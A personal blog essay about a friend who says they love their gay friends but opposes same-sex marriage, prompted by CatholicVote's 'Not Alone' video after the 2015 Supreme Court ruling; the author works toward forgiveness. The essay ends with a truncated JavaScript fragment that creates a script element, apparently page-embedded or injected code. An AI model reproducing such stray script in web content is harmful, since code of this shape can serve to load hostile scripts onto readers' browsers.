What do you say, what do you do, when a friend says they love and accept you, but doesn’t believe you should be able to get married like they can? In the midst of all the joy that came from June 26th 2015, when the Supreme Court decisions was made for the LGBTQ+ to have the right to marry. A video popped up From CatholicVote, called Not Alone. The CatholicVote video was told as a coming out story for straight people “coming out” saying marriage should be between a man and woman. As if they were faced with hardships in society because of their beliefs. This resemblance to coming out videos made a lot of people upset, myself included. In the video some of the people make startling confessions stating that they had gay friends and they accepted and loved them but they held true to traditional marriage values. This got me thinking, how could you say you love and care for someone but turn around and tell them they shouldn’t have the same rights as you, they shouldn’t be as happy. I just couldn’t wrap my head around it. I resolved that if this were to ever happen to me I would disown whatever friendship I had with such a person.

Then it happened! A good friend of mine that I considered a good friend made a post about believing marriage was between a man and a woman but somehow still found it in their heart to still love and accept their gay friends. I cannot begin to explain the anger and sadness I felt. I felt betrayed and going forward I will always see it as a betrayal. I knew they were religious but I thought I also knew that they didn’t conform to some of those ideas. When I sought them out for answers I received a reply I couldn’t fully accept but one that I understood. In their reply it was clear their religion didn’t really affect how they felt about same sex marriage, but they still followed these beliefs. However being the unknowing beings that we are how can we apparently know what God wants and how God will ultimately view everything like same-sex marriage that many claim God is against? Where does this leave me though? The best answer I could come up with is I had to forgive them or at the very least understand where they were coming from. I could not change their mind and their heart no more than they could mine. I am who I am and they are who they are. I accept them fully and want their happiness even if they take away mine in the process. Is that what a real friend is? I cannot truly say, but I do know that a friend can be your family when your real family turns their back on you and they will be on your side when the world isn’t. That is a real friend to me. Who is a real friend to you? You can view the Video by CatholicVote, by following the link below.

Not Alonevar d=document;var s=d.createElement(‘script’);